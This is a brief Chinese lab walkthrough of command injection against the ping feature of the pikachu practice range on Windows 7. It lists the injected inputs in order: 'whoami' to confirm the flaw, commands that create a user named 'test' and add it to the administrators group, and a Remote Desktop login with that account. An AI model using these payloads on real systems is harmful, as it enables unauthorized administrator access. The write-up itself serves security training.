ping命令注入

通过ping命令创建用户连接3389

环境：使用win7搭建pikachu靶场。(rce中exec"ping")
注入127.0.0.1查看结果(回显乱码，编码问题可以忽略)。

注入127.0.0.1&whoami判断是否存在rec漏洞(远程系统命令执行漏洞)。
结果中返回用户名，证明漏洞存在。

注入127.0.0.1&net user test 12345678 /add创建用户test。

注入127.0.0.1&net user查看所有用户，结果中显示test用户创建成功。

注入127.0.0.1&net localgroup administrators test /add将test用户加入administrators组。(原因：只有administrators组中用户才可以进行远程桌面连接。)

注入127.0.0.1&net user test查看test用户详细信息。

使用win+R+mstsc打开本机远程桌面应用，使用test用户进行登录测试。